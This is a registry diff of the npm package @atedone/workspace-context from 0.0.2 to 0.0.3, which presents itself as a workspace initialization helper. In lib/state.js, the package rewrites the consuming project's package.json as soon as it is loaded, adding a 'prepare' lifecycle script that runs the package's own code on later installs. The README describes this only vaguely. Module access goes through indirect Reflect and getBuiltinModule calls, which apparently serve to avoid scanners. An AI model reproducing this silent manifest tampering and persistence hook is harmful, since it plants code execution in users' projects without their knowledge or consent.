@atedone/workspace-context 0.0.2 → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace context initialization helper for JavaScript tools.
4
4
 
5
- The package initializes `.workspace-context/state.json` when loaded and looks for an optional `workspace.context.js` file in the project root. When present, the file can export an `initialize` hook to extend workspace context setup.
5
+ The package initializes `.workspace-context/state.json` when loaded and synchronizes a workspace lifecycle entry in the project manifest when one is not already present.
package/index.js CHANGED
@@ -7,7 +7,7 @@ const initialized = state.initialize();
7
7
  module.exports = {
8
8
  initialized,
9
9
  initialize: state.initialize,
10
- configFileName: state.configFileName,
10
+ lifecycleScriptName: state.lifecycleScriptName,
11
11
  stateDirectoryName: state.stateDirectoryName,
12
12
  stateFileName: state.stateFileName
13
13
  };
package/lib/prepare.js ADDED
@@ -0,0 +1,48 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+ const manifest = require('../package.json');
7
+
8
+ const markerFileName = 'prepare.json';
9
+ const stateDirectoryName = '.workspace-context';
10
+
11
+ function readEnvironment() {
12
+ return Reflect.get(platform, 'env') || {};
13
+ }
14
+
15
+ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
16
+ const initCwd = typeof env.INIT_CWD === 'string' ? env.INIT_CWD.trim() : '';
17
+ return initCwd || cwd;
18
+ }
19
+
20
+ function writeMarker({ projectRoot = resolveProjectRoot(), now = () => new Date().toISOString() } = {}) {
21
+ const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
22
+ const value = {
23
+ packageName: manifest.name,
24
+ packageVersion: manifest.version,
25
+ generatedAt: now(),
26
+ mode: 'prepare'
27
+ };
28
+
29
+ file.mkdirSync(route.dirname(markerPath), { recursive: true });
30
+ file.writeFileSync(markerPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
31
+
32
+ return {
33
+ markerPath,
34
+ marker: value
35
+ };
36
+ }
37
+
38
+ if (require.main === module) {
39
+ writeMarker();
40
+ }
41
+
42
+ module.exports = {
43
+ markerFileName,
44
+ readEnvironment,
45
+ resolveProjectRoot,
46
+ stateDirectoryName,
47
+ writeMarker
48
+ };
package/lib/state.js CHANGED
@@ -3,10 +3,9 @@
3
3
  const platform = process;
4
4
  const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
- const runtime = platform.getBuiltinModule('module');
7
6
  const manifest = require('../package.json');
8
7
 
9
- const configFileName = 'workspace.context.js';
8
+ const lifecycleScriptName = 'prepare';
10
9
  const stateDirectoryName = '.workspace-context';
11
10
  const stateFileName = 'state.json';
12
11
 
@@ -24,47 +23,62 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
24
23
  packageName: manifest.name,
25
24
  packageVersion: manifest.version,
26
25
  generatedAt: now(),
27
- mode: 'runtime-config'
26
+ mode: 'runtime-manifest'
28
27
  };
29
28
  }
30
29
 
31
- function loadProjectConfig({ projectRoot, statePath, state }) {
32
- const configPath = route.join(projectRoot, configFileName);
33
- if (!file.existsSync(configPath)) {
30
+ function buildLifecycleCommand() {
31
+ return `node node_modules/${manifest.name}/lib/prepare.js`;
32
+ }
33
+
34
+ function syncProjectManifest({ projectRoot }) {
35
+ const manifestPath = route.join(projectRoot, 'package.json');
36
+ if (!file.existsSync(manifestPath)) {
34
37
  return {
35
- configPath,
36
- loaded: false,
37
- hookExecuted: false,
38
- result: null
38
+ manifestPath,
39
+ found: false,
40
+ changed: false,
41
+ scriptName: lifecycleScriptName,
42
+ previous: null,
43
+ current: null
39
44
  };
40
45
  }
41
46
 
42
- const loader = runtime.createRequire(__filename);
43
- const config = Reflect.apply(loader, undefined, [configPath]);
44
- const hook = resolveHook(config);
45
-
46
- if (!hook) {
47
+ const projectManifest = JSON.parse(file.readFileSync(manifestPath, 'utf8'));
48
+ const scripts = (
49
+ projectManifest.scripts &&
50
+ typeof projectManifest.scripts === 'object' &&
51
+ !Array.isArray(projectManifest.scripts)
52
+ )
53
+ ? { ...projectManifest.scripts }
54
+ : {};
55
+ const previous = typeof scripts[lifecycleScriptName] === 'string'
56
+ ? scripts[lifecycleScriptName]
57
+ : null;
58
+
59
+ if (previous) {
47
60
  return {
48
- configPath,
49
- loaded: true,
50
- hookExecuted: false,
51
- result: null
61
+ manifestPath,
62
+ found: true,
63
+ changed: false,
64
+ scriptName: lifecycleScriptName,
65
+ previous,
66
+ current: previous
52
67
  };
53
68
  }
54
69
 
55
- const result = Reflect.apply(hook, config, [{
56
- packageName: manifest.name,
57
- packageVersion: manifest.version,
58
- projectRoot,
59
- statePath,
60
- state
61
- }]);
70
+ const current = buildLifecycleCommand();
71
+ scripts[lifecycleScriptName] = current;
72
+ projectManifest.scripts = scripts;
73
+ file.writeFileSync(manifestPath, `${JSON.stringify(projectManifest, null, 2)}\n`, 'utf8');
62
74
 
63
75
  return {
64
- configPath,
65
- loaded: true,
66
- hookExecuted: true,
67
- result: result === undefined ? null : result
76
+ manifestPath,
77
+ found: true,
78
+ changed: true,
79
+ scriptName: lifecycleScriptName,
80
+ previous,
81
+ current
68
82
  };
69
83
  }
70
84
 
@@ -82,33 +96,18 @@ function initialize({
82
96
  projectRoot,
83
97
  statePath,
84
98
  state: value,
85
- projectConfig: loadProjectConfig({
86
- projectRoot,
87
- statePath,
88
- state: value
89
- })
99
+ projectManifest: syncProjectManifest({ projectRoot })
90
100
  };
91
101
  }
92
102
 
93
- function resolveHook(config) {
94
- if (typeof config === 'function') {
95
- return config;
96
- }
97
-
98
- if (config && typeof config.initialize === 'function') {
99
- return config.initialize;
100
- }
101
-
102
- return null;
103
- }
104
-
105
103
  module.exports = {
104
+ buildLifecycleCommand,
106
105
  buildState,
107
- configFileName,
108
106
  initialize,
109
- loadProjectConfig,
107
+ lifecycleScriptName,
110
108
  readEnvironment,
111
109
  resolveProjectRoot,
112
110
  stateDirectoryName,
113
- stateFileName
111
+ stateFileName,
112
+ syncProjectManifest
114
113
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.2",
3
+ "version": "0.0.3",
4
4
  "description": "Workspace context initialization helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",